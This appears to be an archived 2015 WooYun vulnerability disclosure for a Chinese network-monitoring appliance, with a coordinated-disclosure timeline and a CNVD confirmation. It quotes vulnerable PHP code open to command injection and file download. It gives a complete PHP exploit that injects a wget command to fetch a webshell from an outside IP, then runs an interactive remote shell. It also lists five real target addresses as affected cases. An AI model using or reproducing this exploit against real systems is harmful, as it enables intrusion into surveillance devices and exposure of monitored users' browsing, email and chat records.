乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-04-27: 细节已通知厂商并且等待厂商处理中 2015-04-30: 厂商已经确认,细节仅向厂商公开 2015-05-03: 细节向第三方安全合作伙伴开放 2015-06-24: 细节向核心白帽子及相关领域专家公开 2015-07-04: 细节向普通白帽子公开 2015-07-14: 细节向实习白帽子公开 2015-07-29: 细节向公众公开
中科新业网络哨兵任意下载&命令执行getshell,导致其所监控的网络内网络用户隐私泄露,包括上网记录,邮件,聊天记录等
漏洞文件:
/manage/admin/export.php?gCommand=woo
部分代码为
header( "Content-Type: text/html; charset=utf-8" );include( "../include/globalvar.h" );if ( $kind == "log" ){ $gFilePath = $gNetGuardLogFilePath; $fileContent = file_get_contents( $gFilePath.$filename );}else if ( $gCommand == "zero_tools" ){ $base_dir = $gFileTransferSavePath."tools"; $tmp = array( ); exec( "./syscommand \"".$base_dir.base64_decode( $cmd )."\"", $tmp ); $fileContent = join( "\r\n", $tmp ); $filename = $gCommand.".txt";}else{ $tmp = array( ); exec( "./syscommand \"".$gCommand."\"", $tmp ); $fileContent = join( "\r\n", $tmp ); $filename = $gCommand.".txt";}header( "Content-Disposition: attachment; filename=\"".$filename."\"" );echo $fileContent;?>
很简单的代码却包含了任意文件下载及多处任意命令执行漏洞,根据漏洞信息,可以很容易的编写利用代码:
<?php$host = @$argv['1'];$port = @$argv['2'];if(count($argv)<3) die("\n Usage : exp.php 127.0.0.1 80\n");$code = "wget%20http://61.139.133.70/images/menu1.gif%20-O%20bsh.php";$path = "/manage/admin/export.php?gCommand=woo||".$code."||yun";$url = ($port == '443') ? "https://".$host : $url = "http://".$host;$resp = request($url.$path);$sh = "/manage/admin/bsh.php";while(true){ print "\nroot@bash# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $header = array("Cmd"=>base64_encode($cmd)); $resps = request($url.$sh,$header); preg_match('/___(.*)/is', $resps, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");}function request($url, $headers = array(), $post='',$timeout=30){ $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); if(is_array($headers) && !empty($headers)){ $header = array(); foreach ($headers as $key=>$val){ $header[] = "$key: $val"; } curl_setopt($curl, CURLOPT_HTTPHEADER, $header); } curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $post); curl_setopt($curl, CURLOPT_TIMEOUT, $timeout); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $resp = curl_exec($curl); if(curl_errno($curl)){ return curl_error($curl); } curl_close($curl); return $resp;}?>
运行利用代码,即可获取到网站的权限,如下图所示:
php export_exp.php 219.134.131.240 443
5个案例:https://219.134.131.240https://218.246.71.229https://218.26.227.5https://222.22.224.3https://124.164.234.204
https://219.134.131.240/manage/admin/bsh.php?x=phpinfo();
过滤
危害等级:高
漏洞Rank:11
确认时间:2015-04-30 10:32
CNVD确认所述情况,已经由CNVD通过网站公开联系方式(或以往建立的处置渠道)向网站管理单位(软件生产厂商)通报。
暂无